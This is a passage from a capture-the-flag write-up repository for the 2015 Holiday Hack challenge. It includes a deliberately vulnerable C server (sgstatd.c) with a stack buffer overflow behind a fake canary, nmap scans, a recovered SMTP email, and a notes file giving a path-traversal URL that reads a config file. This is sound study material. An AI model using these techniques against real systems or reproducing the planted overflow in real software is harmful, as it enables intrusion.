//printf("New Connection\n"); 18 | //printf("/bin/cat /home/grinch/flag.txt\n"); 19 | //system("/usr/bin/id"); 20 | 21 | if (choice != 2) { 22 | write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 52); 23 | write(sd, "Please enter one of the following options:\n\n", 46); 24 | write(sd, "1 - Analyze hard disk usage\n", 28); 25 | write(sd, "2 - List open TCP sockets\n", 26); 26 | write(sd, "3 - Check logged in users\n", 27); 27 | fflush(stdout); 28 | 29 | recv(sd, &choice, 1, 0); 30 | 31 | switch (choice) { 32 | case 49: 33 | fp = popen("/bin/df", "r"); 34 | if (fp == NULL) { 35 | printf("Failed to run command\n"); 36 | exit(1); 37 | } 38 | while (fgets(path, sizeof(path), fp) != NULL) { 39 | sgnet_writes(sd, path); 40 | 41 | } 42 | break; 43 | 44 | case 50: 45 | fp = popen("/bin/netstat -tan", "r"); 46 | if (fp == NULL) { 47 | printf("Failed to run command\n"); 48 | exit(1); 49 | } 50 | while (fgets(path, sizeof(path) - 1, fp) != NULL) { 51 | sgnet_writes(sd, path); 52 | } 53 | break; 54 | 55 | case 51: 56 | fp = popen("/usr/bin/who", "r"); 57 | if (fp == NULL) { 58 | printf("Failed to run command\n"); 59 | exit(1); 60 | } 61 | while (fgets(path, sizeof(path) - 1, fp) != NULL) { 62 | sgnet_writes(sd, path); 63 | } 64 | break; 65 | 66 | case 88: 67 | write(sd, "\n\nH", 4); 68 | usleep(60000); 69 | write(sd, "i", 1); 70 | usleep(60000); 71 | write(sd, "d", 1); 72 | usleep(60000); 73 | write(sd, "d", 1); 74 | usleep(60000); 75 | write(sd, "e", 1); 76 | usleep(60000); 77 | write(sd, "n", 1); 78 | usleep(60000); 79 | write(sd, " ", 1); 80 | usleep(60000); 81 | write(sd, "c", 1); 82 | usleep(60000); 83 | write(sd, "o", 1); 84 | usleep(60000); 85 | write(sd, "m", 1); 86 | usleep(60000); 87 | write(sd, "m", 1); 88 | usleep(60000); 89 | write(sd, "a", 1); 90 | usleep(60000); 91 | write(sd, "n", 1); 92 | usleep(60000); 93 | write(sd, "d", 1); 94 | usleep(60000); 95 | write(sd, " ", 1); 96 | usleep(60000); 97 | write(sd, "d", 1); 98 | usleep(60000); 99 | write(sd, "e", 1); 100 | usleep(60000); 101 | write(sd, "t", 1); 102 | usleep(60000); 103 | write(sd, "e", 1); 104 | usleep(60000); 105 | write(sd, "c", 1); 106 | usleep(60000); 107 | write(sd, "t", 1); 108 | usleep(60000); 109 | write(sd, "e", 1); 110 | usleep(60000); 111 | write(sd, "d", 1); 112 | usleep(60000); 113 | write(sd, "!\n\n", 4); 114 | usleep(60000); 115 | write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) => ", 75); 116 | fflush(stdin); 117 | sgstatd(sd); 118 | 119 | sgnet_writes(sd, "\nRequest Completed!\n\n"); 120 | break; 121 | 122 | default: 123 | write(sd, "Invalid choice!\n", 17); 124 | break; 125 | 126 | } 127 | shutdown(sd, SHUT_WR); 128 | } 129 | return 0; 130 | } 131 | 132 | int sgnet_exit() 133 | { 134 | printf("Canary not repaired.\n"); 135 | exit(0); 136 | } 137 | 138 | int sgstatd(sd) 139 | { 140 | __asm__("movl $0xe4ffffe4, -4(%ebp)"); 141 | //Canary pushed 142 | 143 | char bin[100]; 144 | write(sd, "\nThis function is protected!\n", 30); 145 | fflush(stdin); 146 | //recv(sd, &bin, 200, 0); 147 | sgnet_readn(sd, &bin, 200); 148 | __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked 149 | "jne sgnet_exit"); 150 | return 0; 151 | 152 | } 153 | 154 | int main(int argc, char **argv) //main function 155 | { 156 | (void)argc; 157 | (void)argv; 158 | printf("Server started...\n"); 159 | int sd; 160 | //socket descriptor 161 | sd = sgnet_listen(PORT, IPPROTO_TCP, NULL); 162 | sgnet_server(sd, USER, child_main); 163 | return 0; 164 | } 165 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/sgnet/sgstatd.h: -------------------------------------------------------------------------------- 1 | int child_main(int sd); 2 | int sgnet_exit(); 3 | int sgstatd(int sd); 4 | int main(int argc, char **argv); 5 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/stream_1_picture: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/1_52.2.229.189/stream_1_picture -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/xored.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/1_52.2.229.189/xored.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/20150225093040_2.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/2_52.34.3.80/20150225093040_2.pcap -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/52.34.3.80_out.gnmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Thu Dec 10 15:06:14 2015 as: nmap -p- -oA 52.34.3.80_out -T4 --open 52.34.3.80 2 | Host: 52.34.3.80 (ec2-52-34-3-80.us-west-2.compute.amazonaws.com) Status: Up 3 | Host: 52.34.3.80 (ec2-52-34-3-80.us-west-2.compute.amazonaws.com) Ports: 80/open/tcp//http/// 4 | # Nmap done at Thu Dec 10 15:09:13 2015 -- 1 IP address (1 host up) scanned in 179.53 seconds 5 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/52.34.3.80_out.nmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Thu Dec 10 15:06:14 2015 as: nmap -p- -oA 52.34.3.80_out -T4 --open 52.34.3.80 2 | Nmap scan report for ec2-52-34-3-80.us-west-2.compute.amazonaws.com (52.34.3.80) 3 | Host is up (0.096s latency). 4 | Not shown: 65532 filtered ports, 2 closed ports 5 | PORT STATE SERVICE 6 | 80/tcp open http 7 | 8 | # Nmap done at Thu Dec 10 15:09:13 2015 -- 1 IP address (1 host up) scanned in 179.53 seconds 9 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/52.34.3.80_out.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/factory_cam_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/2_52.34.3.80/factory_cam_2.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/from_pcap: -------------------------------------------------------------------------------- 1 | 220 atnascorp.com ESMTP Postfix (Debian/GNU) 2 | 3 | EHLO atnaspc5 4 | 5 | 250-atnascorp.com 6 | 250-PIPELINING 7 | 250-SIZE 10240000 8 | 250-VRFY 9 | 250-ETRN 10 | 250-STARTTLS 11 | 250-ENHANCEDSTATUSCODES 12 | 250-8BITMIME 13 | 250 DSN 14 | 15 | MAIL FROM: 16 | 17 | 250 2.1.0 Ok 18 | 19 | RCPT TO: 20 | 21 | 250 2.1.5 Ok 22 | 23 | DATA 24 | 25 | 354 End data with . 26 | 27 | From: "c" 28 | To: 29 | Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?= 30 | Date: Wed, 25 Feb 2015 09:30:39 -0500 31 | Message-ID: <005001d05107$a1323ef0$e396bcd0$@atnascorp.com> 32 | MIME-Version: 1.0 33 | Content-Type: multipart/alternative; 34 | .boundary="----=_NextPart_000_0051_01D050DD.B85D2150" 35 | X-Mailer: Microsoft Outlook 15.0 36 | Thread-Index: AdBRB55/YGpgHUrvTQ+ViBgoKBbizw== 37 | Content-Language: en-us 38 | 39 | This is a multipart message in MIME format. 40 | 41 | ------=_NextPart_000_0051_01D050DD.B85D2150 42 | Content-Type: text/plain; 43 | .charset="us-ascii" 44 | Content-Transfer-Encoding: 7bit 45 | 46 | Maratha, 47 | 48 | 49 | 50 | As a follow-up to our phone conversation, we'd like to proceed with an order 51 | of parts for our upcoming product line. We'll need two million of each of 52 | the following components: 53 | 54 | 55 | 56 | + Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 57 | CPU and Linux SDK) 58 | 59 | + ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor 60 | 61 | + Atheros AR6 62 | 233X Wi-Fi adapter 63 | 64 | + Texas Instruments TPS65053 switching power supply 65 | 66 | + Samsung K4B2G16460 2GB SSDR3 SDRAM 67 | 68 | + Samsung K9F1G08U0D 1GB NAND Flash 69 | 70 | 71 | 72 | Given the volume of this purchase, we fully expect the 35% discount you 73 | mentioned during our phone discussion. If you cannot agree to this pricing, 74 | we'll place our order elsewhere. 75 | 76 | 77 | 78 | We need delivery of components to begin no 79 | later than April 1, 2015, with 80 | 250,000 units coming each week, with all of them arriving no later than June 81 | 1, 2015. 82 | 83 | 84 | 85 | Finally, as you know, this project requires the utmost secrecy. Tell NO 86 | ONE about our order, especially any nosy law enforcement authorities. 87 | 88 | 89 | 90 | Regards, 91 | 92 | -CW 93 | 94 | 95 | ------=_NextPart_000_0051_01D050DD.B85D2150 96 | Content-Type: text/html; 97 | .charset="us-ascii" 98 | Content-Transfer-Encoding: quoted-printable 99 | 100 |

Maratha,

 

As a = 152 | follow-up to our phone conversation, we’d like to proceed with an = 153 | order of parts for our upcoming product line.  We’ll need two = 154 | million of each of the following components:

 

+ Ambarella S2Lm IP Camera Processor = 158 | System-on-Chip (with an ARM Cortex A9 CPU and Linux = 159 | SDK)

+ ON = 160 | Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image = 161 | Sensor

+ = 162 | Atheros AR6233X Wi-Fi adapter< 163 | /p>

+ Texas Instruments TPS65053 switching power = 165 | supply

+ = 166 | Samsung K4B2G16460 2GB SSDR3 SDRAM

+ Samsung K9F1G08U0D 1GB NAND = 168 | Flash

 

Given the volume of this purchase, we fully expect the = 170 | 35% discount you mentioned during our phone discussion.  If you = 171 | cannot agree to this pricing, we’ll place our order = 172 | elsewhere.

 

We need delivery of components to begin no later than = 174 | April 1, 2015, with 250,000 units coming each week, with all of them = 175 | arriving no later than June 1, 2015.

 

Finally, as = 177 | you know, this project requires the utmost secrecy.   Tell NO = 178 | ONE about o 179 | ur order, especially any nosy law enforcement = 180 | authorities.

 

Regards,

-CW

183 | ------=_NextPart_000_0051_01D050DD.B85D2150-- 184 | 185 | 186 | . 187 | 188 | 250 2.0.0 Ok: queued as 97F92820BD 189 | 190 | QUIT 191 | 192 | 221 2.0.0 Bye 193 | 194 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/from_pcap.raw: -------------------------------------------------------------------------------- 1 | 220 atnascorp.com ESMTP Postfix (Debian/GNU) 2 | EHLO atnaspc5 3 | 250-atnascorp.com 4 | 250-PIPELINING 5 | 250-SIZE 10240000 6 | 250-VRFY 7 | 250-ETRN 8 | 250-STARTTLS 9 | 250-ENHANCEDSTATUSCODES 10 | 250-8BITMIME 11 | 250 DSN 12 | MAIL FROM: 13 | 250 2.1.0 Ok 14 | RCPT TO: 15 | 250 2.1.5 Ok 16 | DATA 17 | 354 End data with . 18 | From: "c" 19 | To: 20 | Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?= 21 | Date: Wed, 25 Feb 2015 09:30:39 -0500 22 | Message-ID: <005001d05107$a1323ef0$e396bcd0$@atnascorp.com> 23 | MIME-Version: 1.0 24 | Content-Type: multipart/alternative; 25 | boundary="----=_NextPart_000_0051_01D050DD.B85D2150" 26 | X-Mailer: Microsoft Outlook 15.0 27 | Thread-Index: AdBRB55/YGpgHUrvTQ+ViBgoKBbizw== 28 | Content-Language: en-us 29 | 30 | This is a multipart message in MIME format. 31 | 32 | ------=_NextPart_000_0051_01D050DD.B85D2150 33 | Content-Type: text/plain; 34 | charset="us-ascii" 35 | Content-Transfer-Encoding: 7bit 36 | 37 | Maratha, 38 | 39 | As a follow-up to our phone conversation, we'd like to proceed with an order 40 | of parts for our upcoming product line. We'll need two million of each of 41 | the following components: 42 | 43 | + Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 44 | CPU and Linux SDK) 45 | + ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor 46 | + Atheros AR6233X Wi-Fi adapter 47 | + Texas Instruments TPS65053 switching power supply 48 | + Samsung K4B2G16460 2GB SSDR3 SDRAM 49 | + Samsung K9F1G08U0D 1GB NAND Flash 50 | 51 | Given the volume of this purchase, we fully expect the 35% discount you 52 | mentioned during our phone discussion. If you cannot agree to this pricing, 53 | we'll place our order elsewhere. 54 | 55 | We need delivery of components to begin no later than April 1, 2015, with 56 | 250,000 units coming each week, with all of them arriving no later than June 57 | 1, 2015. 58 | 59 | Finally, as you know, this project requires the utmost secrecy. Tell NO 60 | ONE about our order, especially any nosy law enforcement authorities. 61 | 62 | Regards, 63 | 64 | -CW 65 | 66 | 67 | ------=_NextPart_000_0051_01D050DD.B85D2150 68 | Content-Type: text/html; 69 | charset="us-ascii" 70 | Content-Transfer-Encoding: quoted-printable 71 | 72 |

Maratha,

 

As a = 122 | follow-up to our phone conversation, we’d like to proceed with an = 123 | order of parts for our upcoming product line.  We’ll need two = 124 | million of each of the following components:

 

+ Ambarella S2Lm IP Camera Processor = 127 | System-on-Chip (with an ARM Cortex A9 CPU and Linux = 128 | SDK)

+ ON = 129 | Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image = 130 | Sensor

+ = 131 | Atheros AR6233X Wi-Fi adapter

+ Texas Instruments TPS65053 switching power = 133 | supply

+ = 134 | Samsung K4B2G16460 2GB SSDR3 SDRAM

+ Samsung K9F1G08U0D 1GB NAND = 136 | Flash

 

Given the volume of this purchase, we fully expect the = 138 | 35% discount you mentioned during our phone discussion.  If you = 139 | cannot agree to this pricing, we’ll place our order = 140 | elsewhere.

 

We need delivery of components to begin no later than = 142 | April 1, 2015, with 250,000 units coming each week, with all of them = 143 | arriving no later than June 1, 2015.

 

Finally, as = 145 | you know, this project requires the utmost secrecy.   Tell NO = 146 | ONE about our order, especially any nosy law enforcement = 147 | authorities.

 

Regards,

-CW

150 | ------=_NextPart_000_0051_01D050DD.B85D2150-- 151 | 152 | . 153 | 250 2.0.0 Ok: queued as 97F92820BD 154 | QUIT 155 | 221 2.0.0 Bye 156 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/gnome.conf: -------------------------------------------------------------------------------- 1 | Gnome Serial Number: XKCD988 2 | Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg 3 | Allow new subordinates?: YES 4 | Camera monitoring?: YES 5 | Audio monitoring?: YES 6 | Camera update rate: 60min 7 | Gnome mode: SuperGnome 8 | Gnome name: SG-02 9 | Allow file uploads?: YES 10 | Allowed file formats: .png 11 | Allowed file size: 512kb 12 | Files directory: /gnome/www/files/ 13 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/gnome_release_notes.txt: -------------------------------------------------------------------------------- 1 | Product: GnomeIYH 2 | Classification: Firmware Release Notes 3 | 4 | --------------------------------------------------------------------------- 5 | 6 | IMPORTANT: 7 | - DO NOT power cycle the Gnome during the firmware upgrade process. 8 | 9 | =========================================================================== 10 | 11 | Firmware version: 1.1.8.164461 12 | Release date: December 3, 2015 13 | 14 | - Added a sniffer module 15 | - Modified naming to begin with a unique name prior to naming by SG 16 | - Added hit-list functionality to control sniffer output 17 | 18 | NOTES: 19 | - See sniffer_hit_list.txt for initial hit-list values 20 | - Sniffer outputs pcap format with item or packets of interest and uploads 21 | to current parent SG. 22 | 23 | --------------------------------------------------------------------------- 24 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/m977tny_3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/2_52.34.3.80/m977tny_3.jpg -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/notes: -------------------------------------------------------------------------------- 1 | Via settings: 2 | Filename: .png/ 3 | File: doesnt matter 4 | 5 | 6 | Via source code, see /cam is vulnerable to local file include 7 | http://52.34.3.80/cam?camera=../upload/fcxSnHVL/.png/../../../../files/gnome.conf 8 | 9 | 10 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/sgnet.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sgnet.c | CTF (Christmas Technology Feature) Library 3 | * 4 | * Copyright (c) 2012-2015 Alexander Taylor 5 | * 6 | * Permission to use, copy, modify, and/or distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR 16 | * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | #define _GNU_SOURCE 19 | 20 | #ifdef __cplusplus 21 | extern "C" { 22 | #endif 23 | 24 | #ifndef __SGNET_H__ 25 | #define __SGNET_H__ 26 | 27 | /* Standard Libraries */ 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #ifdef _DEBUG 43 | #include 44 | #endif 45 | 46 | /* Networking Libraries */ 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #ifdef _SCTP 55 | #include 56 | #endif 57 | 58 | /* Service Setup Functions */ 59 | int sgnet_listen(const unsigned short, const int, const char *); 60 | 61 | __attribute__ ((noreturn)) 62 | void sgnet_server(int, const char *, int (*handler) (int)); 63 | void sgnet_privdrop(const char *); 64 | int sgnet_randfd(int); 65 | 66 | /* Socket Communication Wrappers */ 67 | int sgnet_readn(const int, void *, const unsigned int); 68 | int sgnet_readsn(const int, char *, const unsigned int); 69 | int sgnet_writes(const int, const char *); 70 | int sgnet_writen(const int, const void *, const unsigned int); 71 | 72 | __attribute__ ((format(printf, 2, 3))) 73 | int sgnet_writef(const int, const char *, ...); 74 | 75 | #endif 76 | 77 | #ifdef __cplusplus 78 | } 79 | #endif 80 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/sgstatd.c: -------------------------------------------------------------------------------- 1 | #include "sgnet.h" 2 | #include "sgstatd.h" 3 | #include 4 | 5 | //user to drop privileges to 6 | const char *USER = "nobody"; 7 | //port to bind and listen on 8 | const unsigned short PORT = 4242; 9 | 10 | int child_main(int sd) //handler for incoming connections 11 | { 12 | int choice = 0; 13 | FILE *fp; 14 | char path[1000]; 15 | char bin[100]; 16 | 17 | //printf("New Connection\n"); 18 | //printf("/bin/cat /home/grinch/flag.txt\n"); 19 | //system("/usr/bin/id"); 20 | 21 | if (choice != 2) { 22 | write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51); 23 | write(sd, "Please enter one of the following options:\n\n", 45); 24 | write(sd, "1 - Analyze hard disk usage\n", 28); 25 | write(sd, "2 - List open TCP sockets\n", 26); 26 | write(sd, "3 - Check logged in users\n", 27); 27 | fflush(stdout); 28 | 29 | recv(sd, &choice, 1, 0); 30 | 31 | switch (choice) { 32 | case 49: 33 | fp = popen("/bin/df", "r"); 34 | if (fp == NULL) { 35 | printf("Failed to run command\n"); 36 | exit(1); 37 | } 38 | while (fgets(path, sizeof(path), fp) != NULL) { 39 | sgnet_writes(sd, path); 40 | 41 | } 42 | break; 43 | 44 | case 50: 45 | fp = popen("/bin/netstat -tan", "r"); 46 | if (fp == NULL) { 47 | printf("Failed to run command\n"); 48 | exit(1); 49 | } 50 | while (fgets(path, sizeof(path) - 1, fp) != NULL) { 51 | sgnet_writes(sd, path); 52 | } 53 | break; 54 | 55 | case 51: 56 | fp = popen("/usr/bin/who", "r"); 57 | if (fp == NULL) { 58 | printf("Failed to run command\n"); 59 | exit(1); 60 | } 61 | while (fgets(path, sizeof(path) - 1, fp) != NULL) { 62 | sgnet_writes(sd, path); 63 | } 64 | break; 65 | 66 | case 88: 67 | write(sd, "\n\nH", 4); 68 | usleep(60000); 69 | write(sd, "i", 1); 70 | usleep(60000); 71 | write(sd, "d", 1); 72 | usleep(60000); 73 | write(sd, "d", 1); 74 | usleep(60000); 75 | write(sd, "e", 1); 76 | usleep(60000); 77 | write(sd, "n", 1); 78 | usleep(60000); 79 | write(sd, " ", 1); 80 | usleep(60000); 81 | write(sd, "c", 1); 82 | usleep(60000); 83 | write(sd, "o", 1); 84 | usleep(60000); 85 | write(sd, "m", 1); 86 | usleep(60000); 87 | write(sd, "m", 1); 88 | usleep(60000); 89 | write(sd, "a", 1); 90 | usleep(60000); 91 | write(sd, "n", 1); 92 | usleep(60000); 93 | write(sd, "d", 1); 94 | usleep(60000); 95 | write(sd, " ", 1); 96 | usleep(60000); 97 | write(sd, "d", 1); 98 | usleep(60000); 99 | write(sd, "e", 1); 100 | usleep(60000); 101 | write(sd, "t", 1); 102 | usleep(60000); 103 | write(sd, "e", 1); 104 | usleep(60000); 105 | write(sd, "c", 1); 106 | usleep(60000); 107 | write(sd, "t", 1); 108 | usleep(60000); 109 | write(sd, "e", 1); 110 | usleep(60000); 111 | write(sd, "d", 1); 112 | usleep(60000); 113 | write(sd, "!\n\n", 4); 114 | usleep(60000); 115 | write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) => ", 75); 116 | fflush(stdin); 117 | sgstatd(sd); 118 | 119 | sgnet_writes(sd, "\nRequest Completed!\n\n"); 120 | break; 121 | 122 | default: 123 | write(sd, "Invalid choice!\n", 17); 124 | break; 125 | 126 | } 127 | shutdown(sd, SHUT_WR); 128 | } 129 | return 0; 130 | } 131 | 132 | int sgnet_exit() 133 | { 134 | printf("Canary not repaired.\n"); 135 | exit(0); 136 | } 137 | 138 | int sgstatd(sd) 139 | { 140 | __asm__("movl $0xe4ffffe4, -4(%ebp)"); 141 | //Canary pushed 142 | 143 | char bin[100]; 144 | write(sd, "\nThis function is protected!\n", 30); 145 | fflush(stdin); 146 | //recv(sd, &bin, 200, 0); 147 | sgnet_readn(sd, &bin, 200); 148 | __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked 149 | "jne sgnet_exit"); 150 | return 0; 151 | 152 | } 153 | 154 | int main(int argc, char **argv) //main function 155 | { 156 | (void)argc; 157 | (void)argv; 158 | printf("Server started...\n"); 159 | int sd; 160 | //socket descriptor 161 | sd = sgnet_listen(PORT, IPPROTO_TCP, NULL); 162 | sgnet_server(sd, USER, child_main); 163 | return 0; 164 | } 165 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/sgstatd.h: -------------------------------------------------------------------------------- 1 | int child_main(int sd); 2 | int sgnet_exit(); 3 | int sgstatd(int sd); 4 | int main(int argc, char **argv); 5 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/sniffer_hit_list.txt: -------------------------------------------------------------------------------- 1 | @nas corp 2 | atnas corp 3 | counterhack 4 | atnas 5 | present 6 | gift 7 | holiday 8 | stocking 9 | candy 10 | tree 11 | ribbon 12 | amazon 13 | walmart 14 | newegg 15 | thinkgeek 16 | edbyellen 17 | toysrus 18 | merry 19 | gucci 20 | apple 21 | laptop 22 | money 23 | password 24 | combination 25 | chimney 26 | cookies 27 | santa 28 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/2_52.34.3.80/win.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/20151201113358_3.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/3_52.64.191.71/20151201113358_3.pcap -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/factory_cam_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/3_52.64.191.71/factory_cam_3.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/gnome.conf: -------------------------------------------------------------------------------- 1 | Gnome Serial Number: THX1138 2 | Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg 3 | Allow new subordinates?: YES 4 | Camera monitoring?: YES 5 | Audio monitoring?: YES 6 | Camera update rate: 60min 7 | Gnome mode: SuperGnome 8 | Gnome name: SG-03 9 | Allow file uploads?: YES 10 | Allowed file formats: .png 11 | Allowed file size: 512kb 12 | Files directory: /gnome/www/files/ 13 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/portscan.gnmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:05 2015 as: nmap -p- -oA portscan -T4 52.64.191.71 2 | Host: 52.64.191.71 (ec2-52-64-191-71.ap-southeast-2.compute.amazonaws.com) Status: Up 3 | Host: 52.64.191.71 (ec2-52-64-191-71.ap-southeast-2.compute.amazonaws.com) Ports: 80/open/tcp//http///, 4242/closed/tcp//vrml-multi-use///, 5555/closed/tcp//freeciv/// Ignored State: filtered (65532) 4 | # Nmap done at Fri Dec 11 09:26:36 2015 -- 1 IP address (1 host up) scanned in 211.22 seconds 5 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/portscan.nmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:05 2015 as: nmap -p- -oA portscan -T4 52.64.191.71 2 | Nmap scan report for ec2-52-64-191-71.ap-southeast-2.compute.amazonaws.com (52.64.191.71) 3 | Host is up (0.24s latency). 4 | Not shown: 65532 filtered ports 5 | PORT STATE SERVICE 6 | 80/tcp open http 7 | 4242/tcp closed vrml-multi-use 8 | 5555/tcp closed freeciv 9 | 10 | # Nmap done at Fri Dec 11 09:26:36 2015 -- 1 IP address (1 host up) scanned in 211.22 seconds 11 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/3_52.64.191.71/portscan.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/20151203133818_4.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/4_52.192.152.132/20151203133818_4.pcap -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/factory_cam_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/4_52.192.152.132/factory_cam_4.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/files: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/4_52.192.152.132/files -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/gnome.conf: -------------------------------------------------------------------------------- 1 | Gnome Serial Number: BU22_1729_2716057 2 | Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg 3 | Allow new subordinates?: YES 4 | Camera monitoring?: YES 5 | Audio monitoring?: YES 6 | Camera update rate: 60min 7 | Gnome mode: SuperGnome 8 | Gnome name: SG-04 9 | Allow file uploads?: YES 10 | Allowed file formats: .png 11 | Allowed file size: 512kb 12 | Files directory: /gnome/www/files/ 13 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/portscan.gnmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:22 2015 as: nmap -p- -oA portscan -T4 52.192.152.132 2 | Host: 52.192.152.132 (ec2-52-192-152-132.ap-northeast-1.compute.amazonaws.com) Status: Up 3 | Host: 52.192.152.132 (ec2-52-192-152-132.ap-northeast-1.compute.amazonaws.com) Ports: 80/open/tcp//http///, 4242/closed/tcp//vrml-multi-use///, 5555/closed/tcp//freeciv/// Ignored State: filtered (65532) 4 | # Nmap done at Fri Dec 11 09:26:14 2015 -- 1 IP address (1 host up) scanned in 172.06 seconds 5 | -------------------------------------------------------------------------------- 